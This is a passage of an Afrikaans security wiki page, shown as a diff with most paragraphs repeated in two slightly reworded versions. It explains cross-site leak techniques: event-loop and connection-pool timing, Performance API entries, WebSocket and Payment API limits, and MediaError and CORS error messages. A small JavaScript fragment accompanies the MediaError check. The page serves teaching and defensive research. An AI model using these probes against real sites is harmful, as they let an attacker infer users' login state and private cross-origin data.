Toepassings gebruik gereeld [`postMessage` uitzendings](https://developer.mozilla.org/en-US/docs/Web/API/Window/postMessage) om oor verskillende oorspronge te kommunikeer. Tog kan hierdie metode onbedoeld **sensitiewe inligting** blootstel as die `targetOrigin` parameter nie behoorlik gespesifiseer is nie, wat enige venster toelaat om die boodskappe te ontvang. Verder kan die blote daad van die ontvangs van 'n boodskap as 'n **orakel** optree; byvoorbeeld, sekere boodskappe mag slegs aan gebruikers wat ingelog is, gestuur word. Daarom kan die teenwoordigheid of afwesigheid van hierdie boodskappe inligting oor die gebruiker se toestand of identiteit onthul, soos of hulle geverifieer is of nie.
## Globale Limiete Tegnieke
@ -202,7 +202,7 @@ Toepassings gebruik gereeld [`postMessage` uitzendings](https://developer.mozill
Dit is moontlik om te identifiseer of, en hoeveel, **WebSocket verbindings 'n teikenbladsy gebruik**. Dit stel 'n aanvaller in staat om toepassingsstate te detecteer en inligting wat aan die aantal WebSocket verbindings gekoppel is, te lek.
As een **oorsprong** die **maksimum aantal WebSocket** verbindingsobjekte gebruik, ongeag hul verbindingsstatus, sal die skepping van **nuwe objekts JavaScript uitsonderings** veroorsaak. Om hierdie aanval uit te voer, open die aanvaller se webwerf die teikenwebwerf in 'n pop-up of iframe en dan, nadat die teikenweb gelaai is, probeer om die maksimum aantal WebSockets verbindings moontlik te skep. Die **aantal gegooi uitsonderings** is die **aantal WebSocket verbindings wat deur die teikenwebwerf** venster gebruik word.
As een **oorsprong** die **maksimum aantal WebSocket** verbindingsobjekte gebruik, ongeag hul verbindingsstatus, sal die skepping van **nuwe objektes 'n JavaScript uitsondering** veroorsaak. Om hierdie aanval uit te voer, open die aanvaller se webwerf die teikenwebwerf in 'n pop-up of iframe en dan, nadat die teikenweb gelaai is, probeer om die maksimum aantal WebSockets verbindings moontlik te skep. Die **aantal gegooi uitsonderings** is die **aantal WebSocket verbindings wat deur die teikenwebwerf** venster gebruik word.
### Betaling API
@ -212,14 +212,14 @@ As een **oorsprong** die **maksimum aantal WebSocket** verbindingsobjekte gebrui
- **Opsomming**: Detecteer Betaling Versoek omdat slegs een aktief kan wees op 'n slag.
- **Kode Voorbeeld**: [https://xsinator.com/testing.html#Payment%20API%20Leak](https://xsinator.com/testing.html#Payment%20API%20Leak)
Hierdie XS-Lek stel 'n aanvaller in staat om **te detecteer wanneer 'n kruis-oorsprong bladsy 'n betalingsversoek inisieer**.
Hierdie XS-Lek stel 'n aanvaller in staat om **te detecteer wanneer 'n kruis-oorsprong bladsy 'n betalingsversoek begin**.
Omdat **slegs een betalingsversoek aktief kan wees** op dieselfde tyd, as die teikenwebwerf die Betaling Versoek API gebruik, sal enige verdere pogings om hierdie API te gebruik, misluk, en 'n **JavaScript uitsondering** veroorsaak. Die aanvaller kan dit benut deur **periodiek te probeer om die Betaling API UI te wys**. As een poging 'n uitsondering veroorsaak, gebruik die teikenwebwerf dit tans. Die aanvaller kan hierdie periodieke pogings verberg deur die UI onmiddellik na skepping te sluit.
### Tydsberekening van die Gebeurtenislus <a href="#timing-the-event-loop" id="timing-the-event-loop"></a>
- **Insluitingsmetodes**:
- **Waarneembare Verskil**: Tydsberekening (generaal as gevolg van Bladsy Inhoud, Statuskode)
- **Waarneembare Verskil**: Tydsberekening (generaal weens Bladsy Inhoud, Statuskode)
- **Meer inligting**: [https://xsleaks.dev/docs/attacks/timing-attacks/execution-timing/#timing-the-event-loop](https://xsleaks.dev/docs/attacks/timing-attacks/execution-timing/#timing-the-event-loop)
- **Opsomming:** Meet die uitvoeringstyd van 'n web wat die enkel-draad JS gebeurtenislus misbruik.
- **Kode Voorbeeld**:
@ -228,59 +228,59 @@ Omdat **slegs een betalingsversoek aktief kan wees** op dieselfde tyd, as die te
xs-search/event-loop-blocking-+-lazy-images.md
{{#endref}}
JavaScript werk op 'n [enkel-draad gebeurtenislus](https://developer.mozilla.org/en-US/docs/Web/JavaScript/EventLoop) mededinging model, wat aandui dat **dit slegs een taak op 'n slag kan uitvoer**. Hierdie eienskap kan benut word om te meet **hoe lank kode van 'n ander oorsprong neem om uit te voer**. 'n Aanvaller kan die uitvoeringstyd van hul eie kode in die gebeurtenislus meet deur voortdurend gebeurtenisse met vaste eienskappe te stuur. Hierdie gebeurtenisse sal verwerk word wanneer die gebeurtenis poel leeg is. As ander oorspronge ook gebeurtenisse na dieselfde poel stuur, kan 'n **aanvaller die tyd aflei wat dit neem vir hierdie eksterne gebeurtenisse om uit te voer deur die vertragings in die uitvoering van hul eie take te observeer**. Hierdie metode van die monitering van die gebeurtenislus vir vertragings kan die uitvoeringstyd van kode van verskillende oorspronge onthul, wat moontlik sensitiewe inligting blootstel.
JavaScript werk op 'n [enkel-draad gebeurtenislus](https://developer.mozilla.org/en-US/docs/Web/JavaScript/EventLoop) mededinging model, wat aandui dat **dit slegs een taak op 'n slag kan uitvoer**. Hierdie eienskap kan benut word om te meet **hoe lank kode van 'n ander oorsprong neem om uit te voer**. 'n Aanvaller kan die uitvoeringstyd van hul eie kode in die gebeurtenislus meet deur voortdurend gebeurtenisse met vaste eienskappe te stuur. Hierdie gebeurtenisse sal verwerk word wanneer die gebeurtenispoel leeg is. As ander oorspronge ook gebeurtenisse na dieselfde poel stuur, kan 'n **aanvaller die tyd aflei wat dit neem vir hierdie eksterne gebeurtenisse om uit te voer deur die vertragings in die uitvoering van hul eie take te observeer**. Hierdie metode van die monitering van die gebeurtenislus vir vertragings kan die uitvoeringstyd van kode van verskillende oorspronge onthul, wat moontlik sensitiewe inligting blootstel.
> [!WARNING]
> In 'n uitvoering tydsberekening is dit moontlik om **netwerk faktore** te **elimineer** om **meer presiese metings** te verkry. Byvoorbeeld, deur die hulpbronne wat deur die bladsy gebruik word, te laai voordat dit gelaai word.
> In 'n uitvoeringstyd is dit moontlik om **netwerkfaktore** te **elimineer** om **meer presiese metings** te verkry. Byvoorbeeld, deur die hulpbronne wat deur die bladsy gebruik word, te laai voordat dit gelaai word.
### Besige Gebeurtenislus <a href="#busy-event-loop" id="busy-event-loop"></a>
- **Insluitingsmetodes**:
- **Waarneembare Verskil**: Tydsberekening (generaal as gevolg van Bladsy Inhoud, Statuskode)
- **Waarneembare Verskil**: Tydsberekening (generaal weens Bladsy Inhoud, Statuskode)
- **Meer inligting**: [https://xsleaks.dev/docs/attacks/timing-attacks/execution-timing/#busy-event-loop](https://xsleaks.dev/docs/attacks/timing-attacks/execution-timing/#busy-event-loop)
- **Opsomming:** Een metode om die uitvoeringstyd van 'n weboperasie te meet, behels die doelbewuste blokkering van die gebeurtenislus van 'n draad en dan die tydsberekening **hoe lank dit neem voordat die gebeurtenislus weer beskikbaar is**. Deur 'n blokkerende operasie (soos 'n lang berekening of 'n sinchroniese API-oproep) in die gebeurtenislus in te voeg, en die tyd te monitor wat dit neem voordat daaropvolgende kode begin uitvoer, kan 'n mens die duur van die take wat in die gebeurtenislus tydens die blokkeringsperiode uitgevoer is, aflei. Hierdie tegniek benut die enkel-draad aard van JavaScript se gebeurtenislus, waar take sekwensieel uitgevoer word, en kan insigte bied in die prestasie of gedrag van ander operasies wat dieselfde draad deel.
- **Opsomming:** Een metode om die uitvoeringstyd van 'n weboperasie te meet, behels om die gebeurtenislus van 'n draad doelbewus te blokkeer en dan die tyd te meet **hoe lank dit neem voordat die gebeurtenislus weer beskikbaar is**. Deur 'n blokkerende operasie (soos 'n lang berekening of 'n sinchroniese API-oproep) in die gebeurtenislus in te voeg, en die tyd te monitor wat dit neem voordat daaropvolgende kode begin uitvoer, kan 'n mens die duur van die take wat in die gebeurtenislus tydens die blokkeringsperiode uitgevoer is, aflei. Hierdie tegniek benut die enkel-draad aard van JavaScript se gebeurtenislus, waar take sekwensieel uitgevoer word, en kan insigte bied in die prestasie of gedrag van ander operasies wat dieselfde draad deel.
- **Kode Voorbeeld**:
'n Beduidende voordeel van die tegniek om uitvoeringstyd te meet deur die gebeurtenislus te vergrendel, is die potensiaal om **Webwerf Isolasie** te omseil. **Webwerf Isolasie** is 'n sekuriteitskenmerk wat verskillende webwerwe in aparte prosesse skei, met die doel om te voorkom dat kwaadwillige webwerwe direk toegang tot sensitiewe data van ander webwerwe verkry. Tog, deur die uitvoeringstyd van 'n ander oorsprong te beïnvloed deur die gedeelde gebeurtenislus, kan 'n aanvaller indirek inligting oor daardie oorsprong se aktiwiteite onttrek. Hierdie metode staat nie op direkte toegang tot die ander oorsprong se data nie, maar eerder op die waarneming van die impak van daardie oorsprong se aktiwiteite op die gedeelde gebeurtenislus, en so die beskermende barriers wat deur **Webwerf Isolasie** gevestig is, ontduik.
'n Beduidende voordeel van die tegniek om uitvoeringstyd te meet deur die gebeurtenislus te sluit, is die potensiaal om **Site Isolasie** te omseil. **Site Isolasie** is 'n sekuriteitskenmerk wat verskillende webwerwe in aparte prosesse skei, met die doel om te voorkom dat kwaadwillige webwerwe direk toegang tot sensitiewe data van ander webwerwe verkry. Tog, deur die uitvoeringstyd van 'n ander oorsprong te beïnvloed deur die gedeelde gebeurtenislus, kan 'n aanvaller indirek inligting oor daardie oorsprong se aktiwiteite onttrek. Hierdie metode staat nie op direkte toegang tot die ander oorsprong se data nie, maar eerder op die waarneming van die impak van daardie oorsprong se aktiwiteite op die gedeelde gebeurtenislus, en ontduik dus die beskermende hindernisse wat deur **Site Isolasie** gevestig is.
> [!WARNING]
> In 'n uitvoering tydsberekening is dit moontlik om **netwerk faktore** te **elimineer** om **meer presiese metings** te verkry. Byvoorbeeld, deur die hulpbronne wat deur die bladsy gebruik word, te laai voordat dit gelaai word.
> In 'n uitvoeringstyd is dit moontlik om **netwerkfaktore** te **elimineer** om **meer presiese metings** te verkry. Byvoorbeeld, deur die hulpbronne wat deur die bladsy gebruik word, te laai voordat dit gelaai word.
### Verbinding Poel
- **Insluitingsmetodes**: JavaScript Versoeke
- **Waarneembare Verskil**: Tydsberekening (generaal as gevolg van Bladsy Inhoud, Statuskode)
- **Waarneembare Verskil**: Tydsberekening (generaal weens Bladsy Inhoud, Statuskode)
- **Meer inligting**: [https://xsleaks.dev/docs/attacks/timing-attacks/connection-pool/](https://xsleaks.dev/docs/attacks/timing-attacks/connection-pool/)
- **Opsomming:** 'n Aanvaller kan al die sokke vergrendel behalwe 1, die teikenweb laai en terselfdertyd 'n ander bladsy laai, die tyd totdat die laaste bladsy begin laai is die tyd wat die teikenbladsy geneem het om te laai.
- **Opsomming:** 'n Aanvaller kan al die sokke behalwe 1 vergrendel, die teikenweb laai en terselfdertyd 'n ander bladsy laai, die tyd totdat die laaste bladsy begin laai is die tyd wat die teikenbladsy geneem het om te laai.
- **Kode Voorbeeld**:
{{#ref}}
xs-search/connection-pool-example.md
{{#endref}}
Blaaiers gebruik sokke vir bedienerkommunikasie, maar as gevolg van die beperkte hulpbronne van die bedryfstelsel en hardeware, **is blaaiers gedwing om 'n limiet op te lê** op die aantal gelyktydige sokke. Aanvallers kan hierdie beperking benut deur die volgende stappe:
Blaaiers gebruik sokke vir bedienerkommunikasie, maar as gevolg van die beperkte hulpbronne van die bedryfstelsel en hardeware, **is blaaiers gedwing om 'n limiet** op die aantal gelyktydige sokke te plaas. Aanvallers kan hierdie beperking benut deur die volgende stappe:
1. Bepaal die blaaiers sokke limiet, byvoorbeeld, 256 globale sokke.
1. Bepaal die blaaiers sokkelimiet, byvoorbeeld, 256 globale sokke.
2. Beset 255 sokke vir 'n lang tyd deur 255 versoeke na verskillende gasheers te begin, ontwerp om die verbindings oop te hou sonder om te voltooi.
3. Gebruik die 256ste sok om 'n versoek na die teikenbladsy te stuur.
4. Probeer 'n 257ste versoek na 'n ander gasheer. Aangesien al die sokke in gebruik is (soos per stappe 2 en 3), sal hierdie versoek gequeue word totdat 'n sok beskikbaar word. Die vertraging voordat hierdie versoek voortgaan, bied die aanvaller tyds-inligting oor die netwerkaktiwiteit wat verband hou met die 256ste sok (die teikenbladsy se sok). Hierdie afleiding is moontlik omdat die 255 sokke van stap 2 steeds betrokke is, wat impliseer dat enige nuut beskikbare sok die een moet wees wat van stap 3 vrygestel is. Die tyd wat dit neem vir die 256ste sok om beskikbaar te word, is dus direk gekoppel aan die tyd wat benodig word vir die versoek na die teikenbladsy om te voltooi.
4. Probeer 'n 257ste versoek na 'n ander gasheer. Aangesien al die sokke in gebruik is (soos per stappe 2 en 3), sal hierdie versoek in die tou wees totdat 'n sok beskikbaar word. Die vertraging voordat hierdie versoek voortgaan, bied die aanvaller tyds-inligting oor die netwerkaktiwiteit wat met die 256ste sok (die teikenbladsy se sok) verband hou. Hierdie afleiding is moontlik omdat die 255 sokke van stap 2 steeds betrokke is, wat impliseer dat enige nuut beskikbare sok die een moet wees wat van stap 3 vrygestel is. Die tyd wat die 256ste sok neem om beskikbaar te word, is dus direk gekoppel aan die tyd wat benodig word vir die versoek na die teikenbladsy om te voltooi.
Vir meer inligting: [https://xsleaks.dev/docs/attacks/timing-attacks/connection-pool/](https://xsleaks.dev/docs/attacks/timing-attacks/connection-pool/)
### Verbinding Poel volgens Bestemming
- **Insluitingsmetodes**: JavaScript Versoeke
- **Waarneembare Verskil**: Tydsberekening (generaal as gevolg van Bladsy Inhoud, Statuskode)
- **Waarneembare Verskil**: Tydsberekening (generaal weens Bladsy Inhoud, Statuskode)
- **Meer inligting**:
- **Opsomming:** Dit is soos die vorige tegniek, maar in plaas daarvan om al die sokke te gebruik, stel Google **Chrome** 'n limiet van **6 gelyktydige versoeke na die selfde oorsprong**. As ons **5 blokkeer** en dan 'n **6de** versoek **afskiet**, kan ons dit **tyd** en as ons daarin slaag om die **slagofferbladsy meer versoeke** na dieselfde eindpunt te laat stuur om 'n **status** van die **bladsy** te detecteer, sal die **6de versoek** **langer** neem en kan ons dit detecteer.
- **Opsomming:** Dit is soos die vorige tegniek, maar in plaas daarvan om al die sokke te gebruik, plaas Google **Chrome** 'n limiet van **6 gelyktydige versoeke na dieselfde oorsprong**. As ons **5 blokkeer** en dan 'n 6de versoek **afskiet**, kan ons dit **tyd** en as ons daarin slaag om die **slagofferbladsy meer versoeke** na dieselfde eindpunt te laat stuur om 'n **status** van die **bladsy** te detecteer, sal die **6de versoek** **langer** neem en kan ons dit detecteer.
## Prestasie API Tegnieke
Die [`Prestasie API`](https://developer.mozilla.org/en-US/docs/Web/API/Performance) bied insigte in die prestasiemetrieke van webtoepassings, verder verryk deur die [`Resource Timing API`](https://developer.mozilla.org/en-US/docs/Web/API/Resource_Timing_API). Die Resource Timing API stel die monitering van gedetailleerde netwerk versoek tydsberekeninge moontlik, soos die duur van die versoeke. Opmerklik is dat wanneer bedieners die `Timing-Allow-Origin: *` header in hul antwoorde insluit, addisionele data soos die oordraggrootte en domein soek tyd beskikbaar word.
Die [`Performance API`](https://developer.mozilla.org/en-US/docs/Web/API/Performance) bied insigte in die prestasiemetings van webtoepassings, verder verryk deur die [`Resource Timing API`](https://developer.mozilla.org/en-US/docs/Web/API/Resource_Timing_API). Die Resource Timing API stel die monitering van gedetailleerde netwerk versoek tydsberekeninge, soos die duur van die versoeke, moontlik. Opmerklik is dat wanneer bedieners die `Timing-Allow-Origin: *` header in hul antwoorde insluit, addisionele data soos die oordraggrootte en domein soektijd beskikbaar word.
Hierdie rykdom van data kan verkry word via metodes soos [`performance.getEntries`](https://developer.mozilla.org/en-US/docs/Web/API/Performance/getEntries) of [`performance.getEntriesByName`](https://developer.mozilla.org/en-US/docs/Web/API/Performance/getEntriesByName), wat 'n omvattende oorsig van prestasie-verwante inligting bied. Boonop fasiliteer die API die meting van uitvoeringstye deur die verskil tussen tydstempels wat verkry is van [`performance.now()`](https://developer.mozilla.org/en-US/docs/Web/API/Performance/now) te bereken. Dit is egter die moeite werd om op te let dat vir sekere operasies in blaaiers soos Chrome, die presisie van `performance.now()` moontlik beperk is tot millisekondes, wat die granulariteit van tydsmetings kan beïnvloed.
Buiten tydsmetings kan die Prestasie API benut word vir sekuriteitsverwante insigte. Byvoorbeeld, die teenwoordigheid of afwesigheid van bladsye in die `performance` objek in Chrome kan die toepassing van `X-Frame-Options` aandui. Spesifiek, as 'n bladsy geblokkeer word om in 'n raam te render as gevolg van `X-Frame-Options`, sal dit nie in die `performance` objek geregistreer word nie, wat 'n subtiele leidraad oor die bladsy se raambeleid bied.
Buiten tydsmetings kan die Prestasie API benut word vir sekuriteitsverwante insigte. Byvoorbeeld, die teenwoordigheid of afwesigheid van bladsye in die `performance` objek in Chrome kan die toepassing van `X-Frame-Options` aandui. Spesifiek, as 'n bladsy geblokkeer word om in 'n raam te render, sal dit nie in die `performance` objek geregistreer word nie, wat 'n subtiele leidraad oor die bladsy se raambeleid bied.
### Fout Lek
@ -290,17 +290,17 @@ Buiten tydsmetings kan die Prestasie API benut word vir sekuriteitsverwante insi
- **Opsomming:** 'n Versoek wat in foute eindig, sal nie 'n hulpbron tydsberekening inskrywing skep nie.
- **Kode Voorbeeld**: [https://xsinator.com/testing.html#Performance%20API%20Error%20Leak](https://xsinator.com/testing.html#Performance%20API%20Error%20Leak)
Dit is moontlik om **te onderskei tussen HTTP antwoord statuskodes** omdat versoeke wat tot 'n **fout** lei, **nie 'n prestasie inskrywing** skep nie.
Dit is moontlik om **te onderskei tussen HTTP antwoordstatuskodes** omdat versoeke wat tot 'n **fout** lei, **nie 'n prestasie inskrywing** skep nie.
### Styl Herlaai Fout
- **Insluitingsmetodes**: HTML Elemente
- **Waarneembare Verskil**: Statuskode
- **Meer inligting**: [https://xsinator.com/paper.pdf](https://xsinator.com/paper.pdf) (5.2)
- **Opsomming:** As gevolg van 'n blaaiers fout, word versoeke wat in foute eindig, twee keer gelaai.
- **Opsomming:** As gevolg van 'n blaaiersfout, word versoeke wat in foute eindig, twee keer gelaai.
- **Kode Voorbeeld**: [https://xsinator.com/testing.html#Style%20Reload%20Error%20Leak](https://xsinator.com/testing.html#Style%20Reload%20Error%20Leak)
In die vorige tegniek is daar ook twee gevalle geïdentifiseer waar blaaiers foute in GC lei tot **hulpbronne wat twee keer gelaai word wanneer hulle misluk om te laai**. Dit sal lei tot meerdere inskrywings in die Prestasie API en kan dus gedetecteer word.
In die vorige tegniek is daar ook twee gevalle geïdentifiseer waar blaaiersfoute in GC lei tot **hulpbronne wat twee keer gelaai word wanneer hulle misluk om te laai**. Dit sal lei tot meerdere inskrywings in die Prestasie API en kan dus gedetecteer word.
### Versoek Samesmelting Fout
@ -310,7 +310,7 @@ In die vorige tegniek is daar ook twee gevalle geïdentifiseer waar blaaiers fou
- **Opsomming:** Versoeke wat in 'n fout eindig, kan nie saamgevoeg word nie.
- **Kode Voorbeeld**: [https://xsinator.com/testing.html#Request%20Merging%20Error%20Leak](https://xsinator.com/testing.html#Request%20Merging%20Error%20Leak)
Die tegniek is in 'n tabel in die genoemde papier gevind, maar geen beskrywing van die tegniek is daarin gevind nie. Tog kan jy die bronkode vind wat daarna kyk in [https://xsinator.com/testing.html#Request%20Merging%20Error%20Leak](https://xsinator.com/testing.html#Request%20Merging%20Error%20Leak)
Die tegniek is in 'n tabel in die genoemde papier gevind, maar daar is geen beskrywing van die tegniek gevind nie. Tog kan jy die bronkode vind wat daarna kyk in [https://xsinator.com/testing.html#Request%20Merging%20Error%20Leak](https://xsinator.com/testing.html#Request%20Merging%20Error%20Leak)
### Leë Bladsy Lek
@ -330,7 +330,7 @@ Die tegniek is in 'n tabel in die genoemde papier gevind, maar geen beskrywing v
- **Opsomming:** Deur die XSS Auditor in Sekuriteits Aserte te gebruik, kan aanvallers spesifieke webblad elemente detecteer deur veranderinge in antwoorde waar te neem wanneer vervaardigde payloads die auditor se filtreringsmeganisme aktiveer.
- **Kode Voorbeeld**: [https://xsinator.com/testing.html#Performance%20API%20XSS%20Auditor%20Leak](https://xsinator.com/testing.html#Performance%20API%20XSS%20Auditor%20Leak)
In Sekuriteits Aserte (SA), kan die XSS Auditor, oorspronklik bedoel om Cross-Site Scripting (XSS) aanvalle te voorkom, ironies benut word om sensitiewe inligting te lek. Alhoewel hierdie ingeboude kenmerk uit Google Chrome (GC) verwyder is, is dit steeds teenwoordig in SA. In 2013 het Braun en Heiderich getoon dat die XSS Auditor per ongeluk wettige skripte kan blokkeer, wat lei tot vals positiewe. Gebaseer op hierdie, het navorsers tegnieke ontwikkel om inligting te onttrek en spesifieke inhoud op kruis-oorsprong bladsye te detecteer, 'n konsep bekend as XS-Leaks, aanvanklik gerapporteer deur Terada en verder uitgewerk deur Heyes in 'n blogpos. Alhoewel hierdie tegnieke spesifiek vir die XSS Auditor in GC was, is daar ontdek dat in SA, bladsye wat deur die XSS Auditor geblokkeer word, nie inskrywings in die Prestasie API genereer nie, wat 'n metode onthul waardeur sensitiewe inligting steeds gelekt kan word.
In Sekuriteits Aserte (SA), kan die XSS Auditor, oorspronklik bedoel om Cross-Site Scripting (XSS) aanvalle te voorkom, ironies benut word om sensitiewe inligting te lek. Alhoewel hierdie ingeboude kenmerk uit Google Chrome (GC) verwyder is, is dit steeds teenwoordig in SA. In 2013 het Braun en Heiderich getoon dat die XSS Auditor per ongeluk wettige skripte kan blokkeer, wat tot vals positiewe lei. Gebaseer op hierdie, het navorsers tegnieke ontwikkel om inligting te onttrek en spesifieke inhoud op kruis-oorsprong bladsye te detecteer, 'n konsep bekend as XS-Leaks, aanvanklik gerapporteer deur Terada en verder uitgewerk deur Heyes in 'n blogpos. Alhoewel hierdie tegnieke spesifiek vir die XSS Auditor in GC was, is daar ontdek dat in SA, bladsye wat deur die XSS Auditor geblokkeer word, nie inskrywings in die Prestasie API genereer nie, wat 'n metode onthul waardeur sensitiewe inligting steeds gelekt kan word.
### X-Frame Lek
@ -340,8 +340,8 @@ In Sekuriteits Aserte (SA), kan die XSS Auditor, oorspronklik bedoel om Cross-Si
- **Opsomming:** Hulpbron met X-Frame-Options header skep nie hulpbron tydsberekening inskrywing nie.
- **Kode Voorbeeld**: [https://xsinator.com/testing.html#Performance%20API%20X-Frame%20Leak](https://xsinator.com/testing.html#Performance%20API%20X-Frame%20Leak)
As 'n bladsy **nie toegelaat** word om in 'n **iframe** **gerender** te word nie, sal dit **nie 'n prestasie inskrywing** skep nie. As gevolg hiervan kan 'n aanvaller die antwoord header **`X-Frame-Options`** detecteer.\
Dieselfde gebeur as jy 'n **embed** **etiket** gebruik.
As 'n bladsy **nie toegelaat** word om in 'n **iframe** te **render** nie, sal dit **nie 'n prestasie inskrywing** skep nie. As gevolg hiervan kan 'n aanvaller die antwoordheader **`X-Frame-Options`** detecteer.\
Dieselfde gebeur as jy 'n **embed** **tag** gebruik.
### Aflaai Detectie
@ -351,7 +351,7 @@ Dieselfde gebeur as jy 'n **embed** **etiket** gebruik.
- **Opsomming:** Aflaaie skep nie hulpbron tydsberekening inskrywings in die Prestasie API nie.
- **Kode Voorbeeld**: [https://xsinator.com/testing.html#Performance%20API%20Download%20Detection](https://xsinator.com/testing.html#Performance%20API%20Download%20Detection)
Soortgelyk aan die XS-Lek wat beskryf is, 'n **hulpbron wat afgelaai** word as gevolg van die ContentDisposition header, skep ook **nie 'n prestasie inskrywing** nie. Hierdie tegniek werk in alle groot blaaiers.
Soos die XS-Lek wat beskryf is, 'n **hulpbron wat afgelaai** word as gevolg van die ContentDisposition header, skep ook **nie 'n prestasie inskrywing** nie. Hierdie tegniek werk in alle groot blaaiers.
### Oorplasing Begin Lek
@ -361,17 +361,17 @@ Soortgelyk aan die XS-Lek wat beskryf is, 'n **hulpbron wat afgelaai** word as g
- **Opsomming:** Hulpbron tydsberekening inskrywing lek die begin tyd van 'n oorplasing.
- **Kode Voorbeeld**: [https://xsinator.com/testing.html#Redirect%20Start%20Leak](https://xsinator.com/testing.html#Redirect%20Start%20Leak)
Ons het een XS-Lek geval gevind wat die gedrag van sommige blaaiers misbruik wat te veel inligting vir kruis-oorsprong versoeke log. Die standaard definieer 'n substel van eienskappe wat op nul gestel moet word vir kruis-oorsprong hulpbronne. Tog, in **SA** is dit moontlik om te detecteer of die gebruiker **oorplaas** is deur die teikenbladsy, deur die **Prestasie API** te ondervra en te kyk vir die **redirectStart tydsdata**.
Ons het een XS-Lek geval gevind wat die gedrag van sommige blaaiers misbruik wat te veel inligting vir kruis-oorsprong versoeke log. Die standaard definieer 'n substel van eienskappe wat op nul gestel moet word vir kruis-oorsprong hulpbronne. Tog is dit in **SA** moontlik om te detecteer of die gebruiker **oorplaas** is deur die teikenbladsy, deur die **Prestasie API** te ondervra en te kyk vir die **redirectStart tydsdata**.
### Duur Oorplasing Lek
- **Insluitingsmetodes**: Fetch API
- **Waarneembare Verskil**: Oorplasing
- **Meer inligting**: [https://xsinator.com/paper.pdf](https://xsinator.com/paper.pdf) (5.2)
- **Opsomming:** Die duur van tydsberekening inskrywings is negatief wanneer 'n oorplasing plaasvind.
- **Opsomming:** Die duur van tydsinskrywings is negatief wanneer 'n oorplasing plaasvind.
- **Kode Voorbeeld**: [https://xsinator.com/testing.html#Duration%20Redirect%20Leak](https://xsinator.com/testing.html#Duration%20Redirect%20Leak)
In GC, is die **duur** vir versoeke wat in 'n **oorplasing** eindig **negatief** en kan dus **onderskei** word van versoeke wat nie in 'n oorplasing eindig nie.
In GC is die **duur** vir versoeke wat in 'n **oorplasing** eindig **negatief** en kan dus **onderskei** word van versoeke wat nie in 'n oorplasing eindig nie.
### CORP Lek
@ -381,7 +381,7 @@ In GC, is die **duur** vir versoeke wat in 'n **oorplasing** eindig **negatief**
- **Opsomming:** Hulpbron wat met CORP beskerm word, skep nie hulpbron tydsberekening inskrywings nie.
- **Kode Voorbeeld**: [https://xsinator.com/testing.html#Performance%20API%20CORP%20Leak](https://xsinator.com/testing.html#Performance%20API%20CORP%20Leak)
In sommige gevalle kan die **nextHopProtocol inskrywing** as 'n lek tegniek gebruik word. In GC, wanneer die **CORP header** gestel is, sal die nextHopProtocol **leeg** wees. Let daarop dat SA glad nie 'n prestasie inskrywing vir CORP-geaktiveerde hulpbronne sal genereer nie.
In sommige gevalle kan die **nextHopProtocol inskrywing** as 'n lek tegniek gebruik word. In GC, wanneer die **CORP header** gestel is, sal die nextHopProtocol **leeg** wees. Let daarop dat SA glad nie 'n prestasie inskrywing vir CORP-geaktiveerde hulpbronne sal skep nie.
### Dienswerker
@ -391,7 +391,7 @@ In sommige gevalle kan die **nextHopProtocol inskrywing** as 'n lek tegniek gebr
- **Opsomming:** Detecteer of 'n dienswerker geregistreer is vir 'n spesifieke oorsprong.
- **Kode Voorbeeld**:
Dienswerkers is gebeurtenis-gedrewe skrip konteks wat by 'n oorsprong loop. Hulle loop in die agtergrond van 'n webblad en kan hulpbronne onderskep, wysig, en **kas** om offline webtoepassings te skep.\
Dienswerkers is gebeurtenis-gedrewe skrip konteks wat by 'n oorsprong loop. Hulle loop in die agtergrond van 'n webblad en kan hulpbronne **onderbreek**, **wysig**, en **kas** om 'n offline webtoepassing te skep.\
As 'n **hulpbron wat in 'n **dienswerker** kas** gestoor is, via **iframe** toeganklik gemaak word, sal die hulpbron **uit die dienswerker kas gelaai** word.\
Om te detecteer of die hulpbron **uit die dienswerker** kas gelaai is, kan die **Prestasie API** gebruik word.\
Dit kan ook gedoen word met 'n Tydsaanval (kyk die papier vir meer inligting).
@ -404,7 +404,7 @@ Dit kan ook gedoen word met 'n Tydsaanval (kyk die papier vir meer inligting).
- **Opsomming:** Dit is moontlik om te kyk of 'n hulpbron in die kas gestoor is.
- **Kode Voorbeeld**: [https://xsleaks.dev/docs/attacks/timing-attacks/performance-api/#detecting-cached-resources](https://xsleaks.dev/docs/attacks/timing-attacks/performance-api/#detecting-cached-resources), [https://xsinator.com/testing.html#Cache%20Leak%20(POST)](<https://xsinator.com/testing.html#Cache%20Leak%20(POST)>)
Met die [Prestasie API](xs-search.md#performance-api) is dit moontlik om te kyk of 'n hulpbron in die kas is.
Met behulp van die [Prestasie API](xs-search.md#performance-api) is dit moontlik om te kyk of 'n hulpbron in die kas gestoor is.
### Netwerk Duur
@ -470,50 +470,50 @@ err.message +
audioElement.onerror = errHandler
}
```
Die `MediaError` koppelvlak se boodskap eienskap identifiseer uniek hulpbronne wat suksesvol laai met 'n unieke string. 'n Aanvaller kan hierdie kenmerk benut deur die boodskapinhoud te observeer, en sodoende die responsstatus van 'n kruis-oorsprong hulpbron af te lei.
Die `MediaError` koppelvlak se boodskap eienskap identifiseer uniek hulpbronne wat suksesvol laai met 'n unieke string. 'n Aanvaller kan hierdie kenmerk benut deur die boodskapinhoud te observeer, en so die responsstatus van 'n kruis-oorsprong hulpbron af te lei.
### CORS Fout
- **Insluitingsmetodes**: Fetch API
- **Waarneembare Verskil**: Kop
- **Meer inligting**: [https://xsinator.com/paper.pdf](https://xsinator.com/paper.pdf) (5.3)
- **Opsomming:** In Veiligheidsbevestigings (SA) stel CORS foutboodskappe onbedoeld die volle URL van omgeleide versoeke bloot.
- **Opsomming:** In Veiligheidsverklarings (SA) stel CORS foutboodskappe onbedoeld die volle URL van omgeleide versoeke bloot.
- **Kode Voorbeeld**: [https://xsinator.com/testing.html#CORS%20Error%20Leak](https://xsinator.com/testing.html#CORS%20Error%20Leak)
Hierdie tegniek stel 'n aanvaller in staat om **die bestemming van 'n kruis-oorsprong webwerf se omleiding te onttrek** deur te benut hoe Webkit-gebaseerde blaaiers CORS versoeke hanteer. Spesifiek, wanneer 'n **CORS-geaktiveerde versoek** na 'n teikenwebwerf gestuur word wat 'n omleiding op grond van gebruikersstatus uitreik en die blaaiers die versoek daarna ontken, word die **volle URL van die omleiding se teiken** binne die foutboodskap bekendgemaak. Hierdie kwesbaarheid onthul nie net die feit van die omleiding nie, maar stel ook die omleiding se eindpunt en enige **sensitiewe navraagparameters** wat dit mag bevat, bloot.
